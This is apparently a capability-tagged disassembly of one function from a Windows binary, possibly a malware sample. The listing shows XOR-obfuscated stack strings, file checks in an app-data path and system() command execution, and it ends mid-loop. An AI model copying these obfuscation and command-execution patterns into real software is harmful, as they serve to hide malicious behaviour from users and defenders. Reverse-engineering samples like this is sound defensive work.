Function at 0x1400523e0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute command
Resolve function by parsing pe exports

Disassembly:
mov qword ss:[rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x690
mov rax, qword [0x1402257c0]
xor rax, rsp
mov qword [rsp + 0x680], rax
xor r15d, r15d
lea rcx, str.tar___version__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x14005725c
mov dword [rsp + 0x2f0], 0x724f5c32
mov dword [rsp + 0x2f4], 0x746962
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x2f1]
mov r14, 0xffffffffffffffff
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], r15b
jne 0x140052460
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140057275
lea r13, [0x140226258]
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
lea rcx, [rsp + 0x50]
call fcn.1400521e0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.140003c40
nop dword [rax]
test bl, bl
jne 0x1400525dd
mov dword [rsp + 0x2f0], 0x724f5c10
mov dword [rsp + 0x2f4], 0x746962
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x2f1]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052510
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005727b
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.140127a80
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005060
nop
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rcx, qword [rsp + 0x70]
call fcn.140127ce0
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140057286
lea rcx, [rsp + 0x70]
call fcn.140003bc0
nop
lea rcx, [rsp + 0x50]
call fcn.140003c40
movdqa xmm0, xmmword [0x140200c20]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x140200bf0]
movdqu xmmword [rsp + 0xa0], xmm1
mov dword [rsp + 0xb0], 0x2e747369
mov dword [rsp + 0xb4], 0x676572
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x91]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052627
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x14005729c
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x91]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.140127a80
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005060
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x660]
call fcn.1400069e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x2f0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x300], ecx
lea r12, [0x140225878]
mov qword [rsp + 0x308], r12
movaps xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x300], xmm0
mov eax, dword [rsp + 0x2f0]
test eax, eax
je 0x14005276f
cmp eax, 1
setne bl
lea rcx, [rsp + 0x70]
call fcn.140003bc0
nop
lea rcx, [rsp + 0x50]
call fcn.140003c40
test bl, bl
je 0x140052888
mov dword [rsp + 0x2f0], 0x724f5c64
mov dword [rsp + 0x2f4], 0x746962
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x2f1]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052755
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x1400572a6
jmp 0x14005277b
xor bl, bl
test ecx, ecx
jne 0x1400572ac
jmp 0x14005270e
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x2f1]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x60]
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
call fcn.140127a80
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x70]
call fcn.140005060
nop
lea rcx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rcx, qword [rsp + 0x70]
call fcn.1401281c8
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rsp + 0x2f0], rcx
mov dword [rsp + 0x300], edx
mov qword [rsp + 0x308], r12
movaps xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x300], xmm0
cmp edx, 0x91
jne 0x140052865
lea r8, ds:[rsp + 0x2f0]
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x70]
call fcn.14004f2a0
cmp dword [rsp + 0x300], 0
jne 0x1400572c6
lea rcx, [rsp + 0x70]
call fcn.140003bc0
nop
lea rcx, [rsp + 0x50]
call fcn.140003c40
movdqa xmm0, xmmword [0x140200be0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x65706c65
mov dword [rsp + 0x64], 0x78742e72
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x51]
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400528c0
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x1400572e0
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140052952
mov rcx, qword [0x1402262a8]
inc rdx
cmp rdx, 0x1000
jb 0x14005294d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400529db
mov rcx, r8
call fcn.140128990
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [0x1402262a8], xmm0
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [0x1402262b8], xmm1
movdqa xmm0, xmmword [0x140200800]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.140003c40
movdqa xmm0, xmmword [0x140200cc0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x51]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400529c1
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x1400572e6
jmp 0x1400529e7
nop dword [rax + rax]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
mov rdi, qword [rsp + 0x80]
lea rbx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rbx, qword [rsp + 0x70]
call fcn.140127a80
mov qword ds:[rsp + 0x300], rbx
mov qword [rsp + 0x308], rdi
lea r8, [rsp + 0x300]
mov edx, eax
lea rcx, [rsp + 0x380]
call fcn.140005060
nop
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x660]
call fcn.1400069e0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x2f0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x300], ecx
mov qword [rsp + 0x308], r12
movaps xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x300], xmm0
mov eax, dword [rsp + 0x2f0]
test eax, eax
je 0x140052b4b
cmp eax, 1
sete bl
lea rcx, [rsp + 0x380]
call fcn.140003bc0
nop
lea rcx, [rsp + 0x70]
call fcn.140003c40
nop dword [rax + rax]
test bl, bl
je 0x140052c53
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x550]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x140200cd0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x51]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052b31
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x1400572ec
jmp 0x140052b5a
mov bl, 1
test ecx, ecx
jne 0x1400572f2
jmp 0x140052ac0
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x550]
call fcn.140022220
mov rax, qword [rsp + 0x550]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x550], rax
mov rax, qword [rsp + 0x550]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x54c], edx
lea rcx, [rsp + 0x70]
call fcn.140003c40
cmp qword [rsp + 0x5d8], 0
jne 0x140052c37
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x110]
call fcn.1400577b0
lea rdx, [rax + 1]
mov r9, rdx
mov r10d, 0xad
nop word [rax + rax]
movzx r8d, byte [rax]
xor byte [r9], r8b
lea r9, [r9 + 1]
sub r10, 1
je 0x14005730f
jmp 0x140052c20
lea rcx, ds:[rsp + 0x550]
call fcn.140022180
nop
lea rcx, [rsp + 0x550]
call fcn.140008ea0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1e0]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x140200cb0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6f697372
mov dword [rsp + 0x64], 0x78742e6e
mov word [rsp + 0x68], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x51]
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052ca0
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140057331
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1e0]
call fcn.140021060
nop
lea rcx, [rsp + 0x70]
call fcn.140003c40
mov rax, qword ds:[rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140057337
xorps xmm0, xmm0
movups xmmword [rsp + 0x3b8], xmm0
mov qword [rsp + 0x3c8], r15
mov qword [rsp + 0x3d0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x3b8], 0
movups xmmword [rsp + 0x3d8], xmm0
mov qword [rsp + 0x3e8], r15
mov qword [rsp + 0x3f0], r15
xor r8d, r8d
lea rdx, [0x1401f3dc6]
lea rcx, [rsp + 0x3d8]
call fcn.1400074e0
nop
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x1e0]
call fcn.140027f00
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140052e53
lea rdx, [rsp + 0x3b8]
cmp qword [rsp + 0x3d0], 0xf
cmova rdx, qword [rsp + 0x3b8]
mov r8, qword [rsp + 0x3c8]
lea rcx, [rsp + 0x3d8]
call fcn.140023540
mov rax, qword ds:[rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x1e0]
call fcn.140027f00
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140052dd7
lea rcx, ds:[rsp + 0x1f0]
call fcn.140023ce0
test rax, rax
jne 0x140052e8e
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1e0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x3f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x408], xmm1
xor r8d, r8d
lea rdx, [0x1401f3dc6]
lea rcx, [rsp + 0x3f8]
call fcn.1400074e0
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3a0], xmm1
mov qword [rsp + 0x3b0], r15
lea rcx, [rsp + 0x3d8]
cmp qword [rsp + 0x3f0], 0xf
cmova rcx, qword [rsp + 0x3d8]
mov r8, qword [rsp + 0x3e8]
test r8, r8
jne 0x1400532ca
lea rdx, [0x1401f3dc6]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400532ca
mov eax, dword [0x140229c58]
cmp eax, 0x4a65
jne 0x140052f2c
lea rdx, [rsp + 0x300]
call fcn.140057960
jmp 0x140052f45
cmp eax, 0x5867
jne 0x140052f9a
lea rdx, ds:[rsp + 0x300]
call fcn.140057980
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.1400236a0
jmp 0x1400533bb
lea rcx, [rsp + 0x550]
call fcn.140008f10
lea rdx, [rsp + 0x50]
call fcn.1400579a0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r13
lea rcx, [rsp + 0x70]
call fcn.140024e30
nop
mov rdx, rax
lea rcx, [rsp + 0x550]
call fcn.1400221c0
nop
lea rcx, [rsp + 0x70]
call fcn.140003c40
cmp qword [rsp + 0x5d8], 0
je 0x1400573ed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x110]
call fcn.140057a80
mov r9, r15
lea rdx, [rax + 1]
nop word [rax + rax]
movzx r8d, byte [rax]
xor byte [r9 + rdx], r8b
inc r9
cmp r9, 0x95
jb 0x140053060
mov byte ds:[rdx + 0x95], 0
call fcn.140003fe0
lea rdx, [0x1401f3dc6]
lea rcx, [rsp + 0x380]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x380]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140063be0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov word ds:[rsp + 0x2f0], 0x302f
mov byte [rsp + 0x2f2], 0
lea rdx, [rsp + 0x2f1]
lea rcx, [rsp + 0x380]
call fcn.1400252e0
test al, al
je 0x14005316a
mov dword [0x140229c58], 0x4a65
lea rdx, ds:[rsp + 0x300]
call fcn.140057bb0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.1400236a0
lea rdx, ds:[rsp + 0x300]
call fcn.140057bd0
jmp 0x14005320d
mov word [rsp + 0x2f0], 0x313d
mov byte [rsp + 0x2f2], 0
lea rdx, [rsp + 0x2f1]
lea rcx, [rsp + 0x380]
call fcn.1400252e0
test al, al
je 0x14005756f
lea rdx, [rsp + 0x300]
call fcn.140057bf0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.1400236a0
mov dword [0x140229c58], 0x5867
lea rdx, [rsp + 0x300]
call fcn.140057c10
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x550]
call fcn.140003fe0
lea rdx, [0x1400041c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x550]
call fcn.140022180
lea rdx, [rsp + 0x2f0]
call fcn.140057c60
lea rcx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rcx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
mov byte [rcx + 3], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x380]
call fcn.140003c40
nop
lea rcx, [rsp + 0x550]
call fcn.140008ea0
jmp 0x1400533bb
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x3f8]
call fcn.1400236c0
lea rdx, [rsp + 0x300]
call fcn.140057c70
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3d8]
call fcn.1400252e0
nop dword [rax]
test al, al
je 0x140053350
mov dword [0x140229c58], 0x5867
jmp 0x1400533bb
lea rdx, [rsp + 0x300]
call fcn.140057c90
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3d8]
call fcn.1400252e0
test al, al
je 0x1400533bb
mov dword [0x140229c58], 0x4a65
movdqa xmm0, xmmword [0x140200c90]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x80], 0x74616470
mov word [rsp + 0x84], 0x61
mov rdx, qword [0x140226268]
lea rax, [rsp + 0x71]
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400533f0
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x1400575df
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x140226258]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x71]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x50]
call fcn.140027b80
nop
lea rcx, [rsp + 0x50]
call fcn.1400521e0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.140003c40
test bl, bl
jne 0x1400535b8
lea rdx, [rsp + 0x2f0]
call fcn.140057cb0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r13
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
mov rcx, rax
call fcn.1400521e0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.140003c40
test bl, bl
jne 0x140053515
lea rdx, [rsp + 0x2f0]
call fcn.140057cd0
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r13
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.140025340
nop
lea rcx, [rsp + 0x70]
call fcn.14004f240
nop
lea rcx, [rsp + 0x70]
call fcn.140003bc0
nop
lea rcx, [rsp + 0x50]
call fcn.140003c40
nop
lea rdx, [rsp + 0x70]
call fcn.140057cf0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
mov byte [r8 + 0x14], 0
mov rdx, r13
lea rcx, [rsp + 0x50]
call fcn.140024e30
nop
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.140025340
nop
lea rcx, [rsp + 0x380]
call fcn.14004f240
movzx ebx, al
lea rcx, [rsp + 0x380]
call fcn.140003bc0
nop
lea rcx, [rsp + 0x50]
call fcn.140003c40
test bl, bl
je 0x1400544bd
lea rdx, ds:[rsp + 0x50]
call fcn.140057dd0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
mov byte [r8 + 0x1e], 0
mov rdx, r13
lea rcx, [rsp + 0x90]
call fcn.140024e30
nop
lea rdx, [rsp + 0x320]
call fcn.140057e10
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
mov r10, rbx
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rcx, [r10 + rdx]
movzx eax, byte [r9]
xor byte [rcx + r8], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
